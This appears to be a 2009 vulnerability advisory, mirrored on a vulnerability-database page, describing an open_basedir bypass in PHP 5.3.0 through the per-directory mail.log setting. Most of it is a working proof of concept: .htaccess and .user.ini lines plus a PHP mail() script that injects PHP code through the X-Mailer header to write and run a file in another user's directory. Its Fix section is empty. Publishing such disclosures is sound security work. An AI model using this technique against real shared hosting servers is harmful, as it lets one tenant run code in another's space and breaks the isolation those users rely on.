PHP 5.3.0 (main.c) open_basedir bypass

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1051778 漏洞类型
发布时间 2009-08-08 更新时间 2009-08-08
漏洞平台 N/A CVSS评分 N/A
[ PHP 5.3.0 (main.c) open_basedir bypass ]

Author: Maksymilian Arciemowicz
- - Dis.: 26.05.2009
- - Pub.: 06.08.2009

Risk: Medium

Affected Software:
PHP 5.3.0

- --- 0.Description ---
PHP is an HTML-embedded scripting language. Much of its syntax is borrowed from C, Java and Perl with a couple of unique PHP-specific features thrown in. The goal of the language is to allow web developers to write dynamically generated pages quickly.

mail.log  	NULL  	PHP_INI_SYSTEM|PHP_INI_PERDIR  	Available since PHP 5.3.0.

- --- 1. PHP 5.3.0 (main.c) open_basedir bypass ---
The first issue exists in main/main.c

- ---
	STD_PHP_INI_ENTRY("mail.log",					NULL,		PHP_INI_SYSTEM|PHP_INI_PERDIR,		OnUpdateString,			mail_log,			php_core_globals,	core_globals)
- ---

Access PHP_INI_PERDIR is accepted by .htaccess (Apache) or .user.ini (CGI).
Function OnUpdateString dosen't check open_basedir. To reason, we need create new function OpUpdateMailLog, where open_basedir will be checked.

127# cat /www/home/cx/show.php
echo ini_get('open_basedir')."\n";
127# curl http://localhost/home/cx/show.php
127# cat /www/home/cx/set.php
echo ini_set('mail.log', '/www/home/gpkc/tmp/')."\n";
127# curl http://localhost/home/cx/set.php

Warning: ini_set(): open_basedir restriction in effect. File(/www/home/gpkc/tmp/) is not within the allowed path(s): (/www/home/cx) in /www/home/cx/set.php on line 2

We need create .htaccess or .user.ini
for Apache SAPI:
127# echo 'php_value mail.log /www/home/gkpc/tmp/exploit.php' > ./.htaccess

for CGI:
127# echo 'mail.log = /www/home/gkpc/tmp/exploit.php' > ./.user.ini

and some file with mail() function inside. In header X-Mailer, we can put some php code to execute in other open_basedir range, like:
<?php echo ini_get('open_basedir');?>

127# cat /www/home/cx/runmail.php
$to      = 'stop@spam.c0m';
$subject = 'open_basedir bypass by';
$message = 'exploit';
$headers = 'From: stop@spam.c0m' . "\r\n" .
    'Reply-To: stop@spam.c0m' . "\r\n" .
    'X-Mailer: PHP<?php echo ini_get(\'open_basedir\');?>/' . phpversion();

mail($to, $subject, $message, $headers);

127# curl http://localhost/home/cx/runmail.php
127# ls -la /www/home/gkpc/tmp/exploit.php
- -rw-r--r--  1 www  www  173 Jun 30 05:20 /www/home/gkpc/tmp/exploit.php

Now we can exec evil script exploit.php via httpd.

127# curl http://localhost/home/gkpc/tmp/exploit.php
mail() on [/www/home/cx/runmail.php:9]: To: stop@spam.c0m -- Headers: From: stop@spam.c0m  Reply-To: stop@spam.c0m  X-Mailer: PHP/www/home/gkpc/5.3.0

exploit.php is now in open_basedir=/www/home/gkpc/ range.

- --- 2. Fix ---

- --- 3. Contact ---
Author: Maksymilian Arciemowicz